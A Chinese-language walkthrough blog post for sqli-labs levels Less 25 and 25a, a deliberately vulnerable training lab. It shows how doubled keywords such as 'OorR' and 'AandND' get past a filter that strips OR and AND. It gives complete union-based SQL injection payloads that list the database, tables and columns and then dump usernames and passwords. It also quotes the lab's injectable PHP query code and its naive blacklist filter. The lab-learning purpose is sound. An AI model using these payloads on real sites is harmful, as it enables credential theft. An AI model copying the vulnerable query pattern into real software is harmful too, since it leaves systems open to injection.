sqli-labs 通关指南:Less 25

Less 25 的注入过程和 Less 1 的完全一样,但是 Less 25 开始对 “OR” 和 “AND” 2 个字符串进行过滤,此时我们可以使用双写绕过来应对这种过滤。

Less 25

Trick with OR & AND(过滤了 OR 和 AND 的注入)

判断注入类型

首先注入正常的参数,网页回显正常的信息。使用单引号来闭合,网页回显报错信息。

?id=1'


使用 “--+” 注释掉后面的内容后回显正常,说明此处是单引号闭合的字符型注入。

?id=1'#

双写绕过

构造恒真条件时,我们发现网页回显了报错信息,根据提示我们发现 “OR” 运算符不见了。

id=1' OR 1 = 1--+


使用 “AND” 进行注入时,网页也回显了报错信息,“AND” 运算符也不见了。由此可见此处网页对我们传入的参数进行了过滤,把 “OR” 和 “AND” 运算都删掉了。

id=1' AND 1 = 1--+


此处我们可以使用双写绕过来对过滤进行绕过,具体的方式为在被过滤的字符串中间再次书写一次该字符串。例如在构造恒真条件时,我们在 “OR” 中间再插入一个 “OR”,变成 “OORR”。当网页对传入的参数进行过滤时,该字符串中间的 “OR” 会被过滤掉,但是字符串剩余的部分也构成了一个 “OR” 运算符,此时的参数就注入成功了。

id=1' OorR 1 = 1--+


对于 “AND” 来说也是一样,在该字符串中间的任意位置双写一次,也能查询成功。

id=1' AandND 1 = 1--+
id=1' ANandD 1 = 1--+

获取数据库信息

判断表有几列,使用 ORDER BY 子句进行一个排序,此处网页回显了错误信息。这是因为 “ORDER BY” 子句里面也有个 “OR” 字符串,所以在后面的注入中,所有有 “OR” 和 “AND” 的字符串都要双写。

?id=1' ORDER BY 3--+


测试到第 4 列无回显,说明表中一共有 3 列。

?id=1' OorRDER BY 4--+


判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。

?id=-1' UNION SELECT 1,2,3--+


爆数据库名。

?id=-1' UNION SELECT 1,database(),3--+


爆表名。

?id=-1' UNION SELECT 1,group_concat(table_name),3 FROM infoORrmation_schema.tables WHERE table_schema = 'security'--+


爆字段名。

?id=-1' UNION SELECT 1,group_concat(column_name),3 FROM infoORrmation_schema.columns WHERE table_schema = 'security' AandND table_name = 'users'--+

获取目标信息

爆出 users 表中的信息。

?id=-1' UNION SELECT 1,group_concat(concat_ws(":",username,passwoORrd)),3 FROM security.users--+

关卡 SQL 查询语句

源码如下,我们可以看到 SQL 查询语句和之前的没什么差别。但是参数 id 在被查询时,先经过了 blacklist() 函数。

$id = blacklist($id);

// connectivity 
$sql ="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
      echo "<font size='5' color= '#99FF00'>";	
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font color= "#FFFF00">';
      print_r(mysql_error());
      echo "</font>";  
}

blacklist() 函数如下,该函数使用正则表达式对 “AND” 和 “OR” 进行了过滤。

function blacklist($id)
{
      $id= preg_replace('/or/i',"", $id);      //strip out OR (non case sensitive)
      $id= preg_replace('/AND/i',"", $id);      //Strip out AND (non case sensitive)
	
      return $id;
}

Less 25a

Trick with OR & AND Blind (过滤了 OR 和 AND 的盲注)

判断注入类型

注入以下内容,以下内容全部网页都回显错误,说明该网页是数字型注入。

?id=1'--+
?id=1')--+
?id=1'))--+
?id=1"--+
?id=1")--+
?id=1"))--+


构造恒真条件,此时发现回显了错误信息,说明我们的 “OR” 运算符被过滤了。

?id=1 OR 1 = 1--+

使用双写注入,网页就能返回正常的信息了。

?id=1 OorR 1 = 1--+

本关的盲注体现在何处?当查询的 id 不存在,也就是查询失败时,没有任何回显信息。不过由于查询成功时能正常回显,此处使用 Less 25 的注入方式即可。

?id=-1

获取数据库信息

判断表有几列,使用 ORDER BY 子句测试到第 4 列无回显,说明表中一共有 3 列。

?id=1 OorRDER BY 3--+


判断哪些列是我们能用的,令 id 参数的查询不到结果,然后使用 UNION 进行组合查询。

?id=-1 UNION SELECT 1,2,3--+


爆数据库名。

?id=-1 UNION SELECT 1,database(),3--+


爆表名。

?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM infoORrmation_schema.tables WHERE table_schema = 'security'--+


爆字段名。

?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM infoORrmation_schema.columns WHERE table_schema = 'security' AandND table_name = 'users'--+

获取目标信息

爆出 users 表中的信息。

?id=-1 UNION SELECT 1,group_concat(concat_ws(":",username,passwoORrd)),3 FROM security.users--+

关卡 SQL 查询语句

除了查询失败时不显示错误信息,其他的和 Less 25 一样。

//fiddling with comments
$id = blacklist($id);
//echo "<br>";
//echo $id;
//echo "<br>";
$hint=$id;

// connectivity 
$sql = "SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
      echo "<font size='5' color= '#99FF00'>";	
      echo 'Your Login name:'. $row['username'];
      //echo 'YOU ARE IN ........';	  	
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
}
else 
{
      echo '<font size="5" color="#FFFF00">';
      //echo 'You are in...........';
      //print_r(mysql_error());
      //echo "You have an error in your SQL syntax";
      echo "</br></font>";	
      echo '<font color= "#0000ff" font size= 3>';	
}

function blacklist($id)
{
      $id = preg_replace('/or/i',"", $id);      //strip out OR (non case sensitive)
      $id = preg_replace('/AND/i',"", $id);      //Strip out AND (non case sensitive)
	
      return $id;
}
posted @ 2020-11-06 21:42  乌漆WhiteMoon  阅读(1220)  评论(0编辑  收藏  举报